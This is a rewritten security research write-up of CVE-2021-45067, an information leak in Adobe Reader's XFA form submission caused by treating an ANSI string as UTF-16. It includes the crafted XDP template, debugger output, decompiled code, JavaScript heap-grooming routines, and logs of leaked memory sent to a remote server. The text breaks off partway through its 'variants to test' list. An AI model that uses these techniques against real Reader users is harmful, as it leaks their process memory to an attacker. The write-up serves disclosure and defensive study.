Adobe Reader - XFA - ANSI-Unicode Confusion Information Leak
Adobe Reader's XFA form submission code treated an ANSI-encoded string as UTF-16 when computing its length, causing an out-of-bounds read. An attacker could craft a PDF that leaks adjacent heap memory to a remote server when the victim clicks the form.
Published on hacksys.io
This comprehensive study uncovers an information leak vulnerability in Adobe Reader. The core of the issue lies in the confusion between ANSI and Unicode representations within the XFA framework, leading to potential data disclosure risks.
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
Adobe XFA (XML Form Architecture) is the proprietary XML specification and JavaScript API layer that Adobe Reader uses to build and manipulate dynamic forms inside PDF documents. Because XFA combines an XML parser, a JavaScript engine and a form submission pipeline, it has historically been a rich source of memory corruption bugs and logic flaws. This write-up covers one such bug, CVE-2021-45067, an out-of-bounds read caused by treating an ANSI string as Unicode during form submission, which the authors used to leak data out of the sandboxed Reader process.
The authors are Ashfaq Ansari and Krishnakant Patil. The bug was found while fuzzing the JavaScript and XML parts of XFA, shortly after they started developing and testing an internal fuzzer. It is the first part of a series on their PDF reader research, which also covered Foxit PDF Reader and PDFium.
Setup
The testbed used for the analysis:
- Host OS: Windows 10 Pro 20H2 19042.804
- Product: Adobe Reader DC x64 2021.007.20095
- Product URL: https://get.adobe.com/reader/otherversions/
The vulnerable module is AcroForm.api, the plug-in that implements XFA and form-related JavaScript handlers (the JavaScript engine itself lives in EScript.api). The module information for the vulnerable build:
0:000> lmvm AcroForm Browse full module list start end module name 00000000`613c0000 00000000`62510000 AcroForm (pdb symbols) c:\symbols\Acroform.pdb\[redacted]\Acroform.pdb Loaded symbol image file: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\AcroForm.api Image path: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\AcroForm.api Image name: AcroForm.api Browse all global symbols functions data Timestamp: Fri Sep 24 21:14:39 2021 (614EA22F) CheckSum: 01115197 ImageSize: 01150000 File version: 21.7.20095.60881 Product version: 21.7.20095.60881 File flags: 0 (Mask 3F) File OS: 4 Unknown Win32 File type: 2.0 Dll File date: 00000000.00000000 Translations: 0409.04b0 Information from resource tables: CompanyName: Adobe Systems Incorporated ProductName: Adobe Acrobat Forms InternalName: AcroForm OriginalFilename: AcroForm.api ProductVersion: 21.7.20095.454097 FileVersion: 21.7.20095.454097 FileDescription: Adobe Acrobat Forms Plug-In LegalCopyright: Copyright 1984-2021 Adobe Systems Incorporated and its licensors. All rights reserved. LegalTrademarks: Adobe, Acrobat and the Acrobat logo are trademarks of Adobe Systems Incorporated which may be registered in certain jurisdictions. Comments: The Acrobat Forms plug-in allows users to create dynamic electronic forms for fill-in and transmittal.
For the leak, the authors ran a small Python web server on port 80 to receive the submitted form data. The exploit repository is hacksysteam/CVE-2021-45067 (Python, GPL-3.0).
Finding it
The starting point is a specially crafted XML packet inside a PDF document that crashes Adobe Reader:
<template>
<subform name="subform0">
<pageSet>
<pageArea>
<contentArea />
</pageArea>
</pageSet>
<field>
<ui>
<checkButton />
</ui>
<value>
<float> 1872560676325559.1 </float>
</value>
</field>
<field id="clickMe" name="clickMe" w="4" h="4" x="4" y="4">
<ui>
<imageEdit />
</ui>
<event activity="mouseUp">
<submit format="formdata" target="http://example.com/" textEncoding="UTF-16"></submit>
</event>
</field>
</subform>
</template>
The crash state:
(1884.2114): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. AcroForm!crash_sub_20A49980+0x137: 00000000`61609ab7 8a01 mov al,byte ptr [rcx] ds:0000016d`c8682000=?? 0:000> r rax=00000000000015d0 rbx=0000016dc8681fe0 rcx=0000016dc8682000 rdx=0000000000000020 rsi=0000003a97bfccb0 rdi=000000000000005f rip=0000000061609ab7 rsp=0000003a97bfc680 rbp=0000000000000000 r8=00000000000000d0 r9=00007ffc68550000 r10=0000003a97bfc336 r11=0000003a97bfc71c r12=000000000000ffff r13=0000003a97bfccb0 r14=0000000000000000 r15=0000000000000001 iopl=0 nv up ei pl nz ac pe nc cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010212 AcroForm!crash_sub_20A49980+0x137: 00000000`61609ab7 8a01 mov al,byte ptr [rcx] ds:0000016d`c8682000=?? 0:000> dc @rcx 0000016d`c8682000 ???????? ???????? ???????? ???????? ???????????????? 0000016d`c8682010 ???????? ???????? ???????? ???????? ???????????????? 0000016d`c8682020 ???????? ???????? ???????? ???????? ????????????????
The faulting instruction is mov al, byte ptr [rcx], and rcx points to invalid memory. A !heap check shows the address is inside a busy allocation with a user-allocated size of 0x16 bytes, so Reader is reading past the end of a live buffer:
0:000> !heap -p -a @rcx address 0000016dc8682000 found in _DPH_HEAP_ROOT @ 16debbe1000 in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize) 16dc7283340: 16dc8681fe0 16 - 16dc8681000 2000 unknown!printable 00007ffc6ad2867b ntdll!RtlDebugAllocateHeap+0x000000000000003b 00007ffc6ac5d255 ntdll!RtlpAllocateHeap+0x00000000000000f5 00007ffc6ac5b44d ntdll!RtlpAllocateHeapInternal+0x0000000000000a2d 00007ffc6855fde6 ucrtbase!_malloc_base+0x0000000000000036 000000006141d4c1 AcroForm!ASSureMalloc+0x0000000000000015 0000000061607899 AcroForm![redacted]+0x00000000000000b5 00000000616099cc AcroForm!crash_sub_20A49980+0x000000000000004c 0000000061601a88 AcroForm!sub_20A41150+0x0000000000000938 000000006167f4e4 AcroForm!sub_20ABF354+0x0000000000000190 0000000061602372 AcroForm!ExportAsHtml+0x00000000000002d6 000000006161fff2 AcroForm!AFSubmitIt+0x0000000000001a1a 00000000617c9e5d AcroForm!sub_20C09860+0x00000000000005fd 0000000061afc027 AcroForm!SubmitDispatcher__dispatch+0x00000000000007d7 0000000061bcb1da AcroForm!sub_2100B170+0x000000000000006a 0000000061bcb96e AcroForm!XFAEventManager__eventOccurred+0x00000000000006fe 0000000061ae8948 AcroForm!XFAFormModelImpl__execEvent+0x00000000000001f4 0000000061ae8633 AcroForm!XFAFormModelImpl__eventOccurred+0x0000000000000083 0000000061ae8729 AcroForm![redacted]+0x0000000000000095 000000006179ba56 AcroForm!piDocumentContext__eventOccurred+0x0000000000000162 000000006173bc5e AcroForm!sub_20B7B1F8+0x0000000000000a66 000000006173b1f2 AcroForm!sub_20B7B1C0+0x0000000000000032 00000000638c2b60 Acrobat!AIDE::PixelPartInfo::PixelPartInfo+0x000000000083d950 00000000638c4df5 Acrobat!AIDE::PixelPartInfo::PixelPartInfo+0x000000000083fbe5 00000000638c2c5a Acrobat!AIDE::PixelPartInfo::PixelPartInfo+0x000000000083da4a 00000000638c4ee3 Acrobat!AIDE::PixelPartInfo::PixelPartInfo+0x000000000083fcd3 0000000063248250 Acrobat!AIDE::PixelPartInfo::PixelPartInfo+0x00000000001c3040 00000000633eda0c Acrobat!AIDE::PixelPartInfo::PixelPartInfo+0x00000000003687fc 00000000631dfaeb Acrobat!AIDE::PixelPartInfo::PixelPartInfo+0x000000000015a8db 00000000631e0068 Acrobat!AIDE::PixelPartInfo::PixelPartInfo+0x000000000015ae58 00000000631df8b0 Acrobat!AIDE::PixelPartInfo::PixelPartInfo+0x000000000015a6a0 000000006329ce57 Acrobat!AIDE::PixelPartInfo::PixelPartInfo+0x0000000000217c47 00000000635c454a Acrobat!AIDE::PixelPartInfo::PixelPartInfo+0x000000000053f33a
The disassembly around the crash:
0:000> ub @eip AcroForm!crash_sub_20A49980+0x119: 00000000`61609a99 66413bc4 cmp ax,r12w 00000000`61609a9d 750c jne AcroForm!crash_sub_20A49980+0x12b (00000000`61609aab) 00000000`61609a9f 488d0d0ae99c00 lea rcx,[AcroForm!utf_16_K (00000000`61fd83b0)] 00000000`61609aa6 e82150e1ff call AcroForm!CLazyAtom::operator unsigned short(void) (00000000`6141eacc) 00000000`61609aab 488bcb mov rcx,rbx 00000000`61609aae 66394644 cmp word ptr [rsi+44h],ax 00000000`61609ab2 7520 jne AcroForm!crash_sub_20A49980+0x154 (00000000`61609ad4) 00000000`61609ab4 418bd6 mov edx,r14d
Reversing the backtrace shows the crash happens while exporting form data as HTML during processing of the form submit event:
0:000> kc # Call Site 00 AcroForm!crash_sub_20A49980 01 AcroForm!sub_20A41150 02 AcroForm!sub_20ABF354 03 AcroForm!ExportAsHtml 04 AcroForm!AFSubmitIt 05 AcroForm!sub_20C09860 06 AcroForm!SubmitDispatcher__dispatch 07 AcroForm!sub_2100B170 08 AcroForm!XFAEventManager__eventOccurred 09 AcroForm!XFAFormModelImpl__execEvent 0a AcroForm!XFAFormModelImpl__eventOccurred 0b AcroForm![redacted] 0c AcroForm!piDocumentContext__eventOccurred 0d AcroForm!sub_20B7B1F8 0e AcroForm!sub_20B7B1C0 0f Acrobat!AIDE::PixelPartInfo::PixelPartInfo+0x83d950
Exploitation
Step 1: Understand the trigger conditions
The crash occurs while dereferencing rcx in mov al, byte ptr [rcx]. Looking at the value of rcx and the memory just before it:
0:000> r @rcx rcx=0000016dc8682000 0:000> dc @rcx-20 0000016d`c8681fe0 37382c31 36352c32 37362c30 32332c36 1,872,560,676,32 0000016d`c8681ff0 35352c35 d0d00039 d0d0d0d0 d0d0d0d0 5,559........... 0000016d`c8682000 ???????? ???????? ???????? ???????? ???????????????? 0000016d`c8682010 ???????? ???????? ???????? ???????? ???????????????? 0000016d`c8682020 ???????? ???????? ???????? ???????? ???????????????? 0000016d`c8682030 ???????? ???????? ???????? ???????? ???????????????? 0000016d`c8682040 ???????? ???????? ???????? ???????? ???????????????? 0000016d`c8682050 ???????? ???????? ???????? ???????? ????????????????
The dump contains 1,872,560,676,325,559, the string representation of the <float> value 1872560676325559.1, stored as ANSI. The function crash_sub_20A49980 reads past the end of that allocation while processing the float value.
Two further conditions are needed to reach the vulnerable path:
- The user must click on the form so that the
mouseUpevent fires and submits the form to the target URLtarget="http://example.com/". - The XFA data must already be in the reset state. This can be achieved with the following JavaScript:
xfa.host.resetData();
Step 2: Read the crashing function
The decompiled code of the crashing function:
void __fastcall crash_sub_20A49980(__int64 this, __int64 someStackBuff, char *somExpression, __int64 a4)
{
__int16 v6; // bp
char *newStrBuff; // rbx
__int16 textEncoding; // ax
char *lsomExpression; // rcx
int i; // edx
char currentSOMCharVal; // al
char *nextSOMChar; // rcx
char nextSOMCharVal; // r8
int strLength; // eax
__int16 maxSOMExprLength; // ax
__int16 maxNewStrLength; // di
__int16 textEncoding_1; // ax
char *lnewStrBuff; // rcx
int j; // edx
char currentCharVal; // al
char *nextChar; // rcx
char nextCharVal; // r8
int newStrLength; // eax
__int64 v24; // [rsp+0h] [rbp-498h] BYREF
__int16 v25; // [rsp+30h] [rbp-468h] BYREF
char *v26; // [rsp+38h] [rbp-460h]
char outputBuffer[1040]; // [rsp+40h] [rbp-458h] BYREF
__int64 v28; // [rsp+450h] [rbp-48h]
v6 = 0;
newStrBuff = [redacted](
this,
someStackBuff,
(__int64)somExpression,
a4,
(void (__fastcall *)(__int64, __int64, __int64, __int64, int))crash_sub_20A49980,
&v25); // allocates and copies the float field string representation
// as ANSI and then return the address of newly copied string
//
// 0000016F`142E9FE0 31 2C 38 37 32 2C 35 36 30 2C 36 37 36 2C 33 32 1,872,560,676,32
// 0000016F`142E9FF0 35 2C 35 35 39 00 D0 D0 D0 D0 D0 D0 D0 D0 D0 D0 5,559...........
// 0000016F`142EA000 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ................
//
v26 = newStrBuff;
if ( !v25 )
{
if ( (*(unsigned int (__fastcall **)(_QWORD))(gAcroSupportHFT + 248))(*(_QWORD *)(someStackBuff + 40)) )
{
outputBuffer[0] = '&';
v6 = 1;
}
textEncoding = utf_16_K;
if ( utf_16_K == -1 )
textEncoding = CLazyAtom::operator unsigned short((__int64)&utf_16_K);
lsomExpression = somExpression;
if ( *(_WORD *)(someStackBuff + 68) == textEncoding )
{
for ( i = 0; ; i += 2 )
{
currentSOMCharVal = *lsomExpression;
nextSOMChar = lsomExpression + 1;
nextSOMCharVal = *nextSOMChar;
lsomExpression = nextSOMChar + 1;
if ( !currentSOMCharVal && !nextSOMCharVal )
break;
}
strLength = i;
}
else
{
strLength = ASstrnlen_safe(somExpression, 0x7FFFFFFFui64, 0i64);
}
maxSOMExprLength = url_encode(
*(_QWORD *)(someStackBuff + 40),
(__int64)outputBuffer,
v6,
(unsigned __int8 *)somExpression,
strLength);
maxNewStrLength = maxSOMExprLength;
if ( maxSOMExprLength < 1026 )
{
outputBuffer[maxSOMExprLength] = '=';
maxNewStrLength = maxSOMExprLength + 1;
}
if ( newStrBuff )
{
textEncoding_1 = utf_16_K;
if ( utf_16_K == -1 )
textEncoding_1 = CLazyAtom::operator unsigned short((__int64)&utf_16_K);
lnewStrBuff = newStrBuff;
if ( *(_WORD *)(someStackBuff + 68) == textEncoding_1 )
{
for ( j = 0; ; j += 2 )
{ // miUCSStrlen_safe
currentCharVal = *lnewStrBuff; // crashes here. this is trying to find the length of UTF-16 string
// but the actual allocated string is UTF-8
nextChar = lnewStrBuff + 1;
nextCharVal = *nextChar;
lnewStrBuff = nextChar + 1;
if ( !currentCharVal && !nextCharVal )
break;
}
newStrLength = j;
}
else
{
newStrLength = ASstrnlen_safe(newStrBuff, 0x7FFFFFFFui64, 0i64);
}
maxNewStrLength = url_encode(
*(_QWORD *)(someStackBuff + 40),
(__int64)outputBuffer,
maxNewStrLength,
(unsigned __int8 *)newStrBuff,
newStrLength); // this OOB data is leaked to remote server
}
if ( maxNewStrLength > 0 )
(*(void (__fastcall **)(_QWORD, char *, _QWORD))(gAcroSupportHFT + 280))(
*(_QWORD *)(someStackBuff + 40),
outputBuffer,
(unsigned int)maxNewStrLength);
}
if ( newStrBuff )
(*(void (__fastcall **)(char *))(gAcroSupportHFT + 24))(newStrBuff);
some_sec_cookie_sub_21064BF0((unsigned __int64)&v24 ^ v28);
}
[redacted] makes a copy of the already allocated string representation of the <float> value. The new buffer is allocated and the string is copied treating it as ANSI, as the rcx dump shows.
Step 3: Trace the allocation helper
The code of [redacted]:
char *__fastcall [redacted](
__int64 this,
__int64 a2,
__int64 somExpression,
__int64 a4,
void (__fastcall *callback)(__int64, __int64, __int64, __int64, int),
_WORD *a6)
{
char *v10; // rdi
_WORD *v11; // r13
int ret; // eax
__int64 v13; // rdi
unsigned __int16 v14; // ax
_BYTE *srcBuff; // rbx
int v16; // eax
char *dst; // rax
int v18; // er14
__int64 v19; // rax
__int64 v21; // rax
int *v22; // rbx
__int64 v23; // rax
__int64 v24; // r14
int Len; // eax
_BYTE *Bytes; // rax
int v27; // edx
unsigned int v28; // eax
__int64 v29; // rdx
__int16 v30; // cx
__int16 v31; // ax
__int64 v32; // rdx
__int64 v33; // rax
__int64 v34; // rdx
__int16 v35; // cx
int v36; // edx
int v37; // [rsp+20h] [rbp-40h]
__int128 v38; // [rsp+38h] [rbp-28h] BYREF
__int128 v39; // [rsp+48h] [rbp-18h] BYREF
v10 = 0i64;
v11 = a6;
*a6 = 1;
ret = (*(__int64 (__fastcall **)(__int64))(gCosHFT + 16))(a4); // a4 - seems like some encoding type
// returns 4
switch ( ret )
{
case 5:
case 8:
v21 = EStrNewFromCosObjImpl(a4);
v22 = (int *)v21;
if ( *(_WORD *)(a2 + 34) )
{
v23 = ConvertDateValueToCanonical(this, v21);
v24 = v23;
if ( v23 )
{
Len = EStrGetLen(v23);
v10 = (char *)ASSureMalloc(Len + 1);
Bytes = (_BYTE *)EStrGetBytes(v24);
if ( Bytes && *Bytes == 0xFE && Bytes[1] == 0xFF )
miUCSStrcpy_safe(v10, 0x7FFFFFFFui64, (__int64)Bytes, 0i64);
else
ASstrcpy_safe(v10, 0x7FFFFFFFi64, (__int64)Bytes, 0i64);
EStrDelete(v24);
LABEL_37:
if ( v22 )
EStrDelete((__int64)v22);
goto LABEL_39;
}
}
v38 = 0i64;
*(_QWORD *)&v38 = sub_209E23D8(v22);
v39 = 0i64;
v28 = CASText::len(0i64, v27);
CASText::CASText((__int64 *)&v39, (char (*)[8])"\r\n", 0, v28);
(*(void (__fastcall **)(_QWORD, const char *, _QWORD))(gASExtraHFT + 320))(v38, "\r", v39);
CASText::~CASText((__int64 *)&v39, v29);
v30 = utf_8_K;
if ( utf_8_K == -1 )
v30 = CLazyAtom::operator unsigned short((__int64)&utf_8_K);
v31 = *(_WORD *)(a2 + 68);
if ( v31 == v30 )
{
v32 = 2i64;
}
else
{
v35 = utf_16_K;
if ( utf_16_K == -1 )
{
v35 = CLazyAtom::operator unsigned short((__int64)&utf_16_K);
v31 = *(_WORD *)(a2 + 68);
}
if ( v31 != v35 )
{
v36 = *(_DWORD *)(a2 + 64);
if ( v36 == -1 || v36 == 32 )
v33 = (*(__int64 (__fastcall **)(_QWORD, _WORD **))(gASExtraHFT + 216))(v38, &a6);
else
v33 = (*(__int64 (__fastcall **)(_QWORD))(gASExtraHFT + 208))(v38);
goto LABEL_36;
}
v32 = 0i64;
}
v33 = (*(__int64 (__fastcall **)(_QWORD, __int64))(gASExtraHFT + 176))(v38, v32);
LABEL_36:
v10 = (char *)v33;
CASText::~CASText((__int64 *)&v38, v34);
goto LABEL_37;
case 4:
v13 = gCoreHFT;
v14 = (*(__int64 (__fastcall **)(__int64))(gCosHFT + 152))(a4); // calls a function in Acrobat returns 1593
srcBuff = (_BYTE *)(*(__int64 (__fastcall **)(_QWORD))(v13 + 56))(v14); // returns source buffer
v16 = ASstrnlen_safe(srcBuff, 0x7FFFFFFFui64, 0i64);
dst = (char *)ASSureMalloc(v16 + 1); // memory is allocated here
v10 = dst;
if ( srcBuff && *srcBuff == 0xFE && srcBuff[1] == 0xFF )
miUCSStrcpy_safe(dst, 0x7FFFFFFFui64, (__int64)srcBuff, 0i64);
else
ASstrcpy_safe(dst, 0x7FFFFFFFi64, (__int64)srcBuff, 0i64); // string is written here
goto LABEL_39;
case 7:
v18 = (*(__int64 (__fastcall **)(__int64))(gCosHFT + 232))(a4);
if ( v18 > 0 )
{
do
{
v19 = (*(__int64 (__fastcall **)(__int64, _QWORD))(gCosHFT + 200))(a4, (unsigned int)v10);
LOWORD(v37) = 0;
callback(this, a2, somExpression, v19, v37);
LODWORD(v10) = (_DWORD)v10 + 1;
}
while ( (int)v10 < v18 );
}
return 0i64;
}
if ( ret )
return 0i64;
LABEL_39:
*v11 = 0;
return v10;
}
Execution takes the case 4 block: ASstrnlen_safe computes the length of the ANSI string, ASSureMalloc allocates a new buffer, and ASstrcpy_safe copies the string into it. Everything up to this point is ANSI.
Step 4: Spot the encoding confusion
The relevant part of the crashing function again:
if (newStrBuff) {
textEncoding_1 = utf_16_K;
if (utf_16_K == -1)
textEncoding_1 = CLazyAtom::operator unsigned short((__int64) & utf_16_K);
lnewStrBuff = newStrBuff;
if (*(_WORD*)(someStackBuff + 68) == textEncoding_1) {
for (j = 0;; j += 2) { // miUCSStrlen_safe
currentCharVal = *lnewStrBuff; // crashes here. this is trying to find the length of UTF-16 string
// but the actual allocated string is UTF-8
nextChar = lnewStrBuff + 1;
nextCharVal = *nextChar;
lnewStrBuff = nextChar + 1;
if (!currentCharVal && !nextCharVal)
break;
}
newStrLength = j;
} else {
newStrLength = ASstrnlen_safe(newStrBuff, 0x7FFFFFFF ui64, 0 i64);
}
maxNewStrLength = url_encode( *
(_QWORD * )(someStackBuff + 40),
(__int64) outputBuffer,
maxNewStrLength,
(unsigned __int8 * ) newStrBuff,
newStrLength); // this OOB data is leaked to remote server
}
The crash happens while computing the length of the newly allocated buffer, at currentCharVal = *lnewStrBuff;. If the new string buffer was allocated successfully, the code checks the textEncoding of the field being converted. If it is utf_16_K, it walks the buffer as UTF-16 (the inlined miUCSStrlen_safe); otherwise it uses ASstrnlen_safe.
The answer to why an ANSI buffer is treated as Unicode is in the XFA XDP packet:
<submit format="formdata" target="http://example.com/" textEncoding="UTF-16"></submit>
textEncoding is set to UTF-16, so when the form is submitted, a POST request is sent to the target URL with data in this format:
$ sudo python3 web-server-post.py -i [redacted] -p 80
Web server listening on [redacted]:80
subform0[0].#field[0]=1,872,560,676,325,559
The partially symbolized stack trace now makes more sense:
0:000> kc # Call Site 00 AcroForm!crash_sub_20A49980 01 AcroForm!sub_20A41150 02 AcroForm!sub_20ABF354 03 AcroForm!ExportAsHtml 04 AcroForm!AFSubmitIt 05 AcroForm!sub_20C09860 06 AcroForm!SubmitDispatcher__dispatch 07 AcroForm!sub_2100B170 08 AcroForm!XFAEventManager__eventOccurred 09 AcroForm!XFAFormModelImpl__execEvent 0a AcroForm!XFAFormModelImpl__eventOccurred 0b AcroForm![redacted] 0c AcroForm!piDocumentContext__eventOccurred 0d AcroForm!sub_20B7B1F8 0e AcroForm!sub_20B7B1C0 0f Acrobat!AIDE::PixelPartInfo::PixelPartInfo
In short, the vulnerable code is missing proper validation of the input string type before trusting textEncoding.
Step 5: Control the string length
The exploitation has three steps:
- Figure out if we can control the float string size.
- Groom the LFH bucket of the target size.
- Trigger the vulnerability and leak data to the remote server.
The first task was to find an allocation size that Adobe Reader does not trigger frequently. The authors settled on 0x58: it is not frequently allocated and freed in the background, and it aligns the heap chunk so that there is only one NULL byte at the end. This is achieved with the following XFA <float> value:
<float> 111111111111111111111111111111111111111111111111111111111111111111111111111111111111111.1 </float>
The note in the report: 1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111.11 is represented as 111111111111111108135579683325721145151278646022500260507995217127497448141778097012736 in string.
Step 6: Groom the LFH
Grooming the LFH bucket of size 0x58 is as easy as allocating strings of the target length:
const groomLFH = (size, count) => {
var string = unescape("%u4142").repeat(size);
for (var i = 0; i < count; i++) {
chunks.push(string.substr(0, (size - 2) / 2).toUpperCase());
}
for (var i = 0; i < chunks.length; i += 4) {
chunks[i] = null;
delete chunks[i];
}
};
To make the holes, garbage collection has to be triggered:
const triggerGC = () => {
let count = 0x100000;
var string = "GC".repeat(count);
for (var i = 0; i < 1000; i++) {
string.substr(0, count);
}
};
Step 7: Trigger the leak reliably
With only one <float> string value, LFH randomization makes it harder to re-allocate the holes efficiently. Adding multiple <float> fields to the XDP packet turned out to be effective at increasing the reliability of the reallocation of the holes.
When the user clicks on the field, the form is submitted. If the leak is successful, anything after 111111111111111108135579683325721145151278646022500260507995217127497448141778097012736 is out-of-bounds data, unless it is another SOM expression. The authors chose this pattern to look for:
BABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABA
If that pattern appears in the web server logs, the leak was successful. Non-printable data is also out-of-bounds data. The web server logs:
$ sudo python3 web-server-post.py -i [redacted] -p 80
Web server listening on [redacted]:80
subform0[0].#field[0]=111111111111111108135579683325721145151278646022500260507995217127497448141778097012736\�����BABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABA&subform0[0].#field[10]=111111111111111108135579683325721145151278646022500260507995217127497448141778097012736��/���BABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABA&subform0[0].#field[11]=111111111111111108135579683325721145151278646022500260507995217127497448141778097012736��/���BABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABA&subform0[0].#field[12]=111111111111111108135579683325721145151278646022500260507995217127497448141778097012736悵���BABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABA&subform0[0].#field[13]=111111111111111108135579683325721145151278646022500260507995217127497448141778097012736悵���BABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABA&subform0[0].#field[14]=111111111111111108135579683325721145151278646022500260507995217127497448141778097012736$����BABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABA&subform0[0].#field[15]=111111111111111108135579683325721145151278646022500260507995217127497448141778097012736悵���BABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABA&subform0[0].#field[16]=111111111111111108135579683325721145151278646022500260507995217127497448141778097012736@�ߞ��BABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABA&subform0[0].#field[17]=111111111111111108135579683325721145151278646022500260507995217127497448141778097012736$����BABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABA&subform0[0].#field[18]=111111111111111108135579683325721145151278646022500260507995217127497448141778097012736��/���BABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABA&subform0[0].#field[19]=111111111111111108135579683325721145151278646022500260507995217127497448141778097012736悵���BABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABA&subform0[0].#field[1]=111111111111111108135579683325721145151278646022500260507995217127497448141778097012736��/���BABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABA&subform0[0].#field[20]=111111111111111108135579683325721145151278646022500260507995217127497448141778097012736\�����BABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABA&subform0[0].#field[21]=111111111111111108135579683325721145151278646022500260507995217127497448141778097012736悵���BABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABA&subform0[0].#field[22]=111111111111111108135579683325721145151278646022500260507995217127497448141778097012736��/���BABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABA&subform0[0].#field[23]=111111111111111108135579683325721145151278646022500260507995217127497448141778097012736��/���BABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABA&subform0[0].#field[24]=111111111111111108135579683325721145151278646022500260507995217127497448141778097012736悵���BABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABA&subform0[0].#field[25]=111111111111111108135579683325721145151278646022500260507995217127497448141778097012736悵���BABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABA&subform0[0].#field[26]=111111111111111108135579683325721145151278646022500260507995217127497448141778097012736$����BABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABA&subform0[0].#field[27]=111111111111111108135579683325721145151278646022500260507995217127497448141778097012736悵���BABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABA&subform0[0].#field[28]=111111111111111108135579683325721145151278646022500260507995217127497448141778097012736��/���BABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABA&subform0[0].#field[29]=111111111111111108135579683325721145151278646022500260507995217127497448141778097012736@�ߞ��BABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABA&subform0[0].#field[2]=111111111111111108135579683325721145151278646022500260507995217127497448141778097012736@�ߞ��BABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABA&subform0[0].#field[30]=111111111111111108135579683325721145151278646022500260507995217127497448141778097012736��/���BABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABA&subform0[0].#field[31]=111111111111111108135579683325721145151278646022500260507995217127497448141778097012736��/���BABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABA&subform0[0].#field[32]=111111111111111108135579683325721145151278646022500260507995217127497448141778097012736@�ߞ��BABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABA&subform0[0].#field[33]=111111111111111108135579683325721145151278646022500260507995217127497448141778097012736$����BABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABA&subform0[0].#field[34]=111111111111111108135579683325721145151278646022500260507995217127497448141778097012736��/���BABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABA&subform0[0].#field[35]=111111111111111108135579683325721145151278646022500260507995217127497448141778097012736�A���BABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABA&subform0[0].#field[36]=1111111111111111081355796833257
Out-of-bounds data is leaked successfully. In the exploit, the target="http://[redacted]/" URL has to be changed to reflect the remote server IP address.
The exploit is published at hacksysteam/CVE-2021-45067:

A demo video accompanies the write-up:
Root cause
The helper [redacted] allocates the copy of the float string with ASSureMalloc sized from ASstrnlen_safe, and copies it with ASstrcpy_safe, so the buffer is a plain ANSI string. Back in crash_sub_20A49980, the code then decides how to measure that buffer by looking at the field's textEncoding. Because the XDP packet sets textEncoding="UTF-16", the check against utf_16_K succeeds and the inlined miUCSStrlen_safe walks the ANSI buffer two bytes at a time looking for a UTF-16 terminator. The single NULL byte at the end of the ANSI allocation does not terminate the UTF-16 scan, so the loop reads past the end of the buffer. The resulting length is then passed to url_encode, which copies the over-read bytes into the output buffer that is sent to the target URL.
The vulnerable code is missing proper validation of the input string type before trusting textEncoding.
Impact
In the authors' demonstration, clicking the form field caused Adobe Reader to read beyond a heap allocation and send the over-read bytes to a server they controlled. In the authors' demonstration the leaked data was sent to a server they controlled and appeared in its logs. The leak happens from the sandboxed Adobe Reader process and discloses memory contents of that process to a remote server. The authors describe the bug as partially exploitable and use it as an information leak; the report does not claim code execution from this bug alone.
Fix
The report does not state which change Adobe made.
Variants to test
- Other
textEncodingvalues on<submit>: try encodings other thanUTF-16on the submit element and watch for mismatches between the encoding used to allocate the copied string and the encoding used to measure it. A positive result is a crash inAcroForm.apior unexpected bytes after the field value in the submitted data. - Other field types that go through
[redacted]: the helper has separate branches for different encoding types (thecase 4,case 5/case 8andcase 7paths). Exercise each with crafted values and check whether the length routine used later matches the branch that produced the buffer. - Different allocation sizes: repeat the LFH grooming with sizes other than
0x58and check whether the chunk alignment still leaves a single NULL terminator. A positive result is theBABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABApattern or non-printable bytes appearing after the field value in the server log. - Multiple
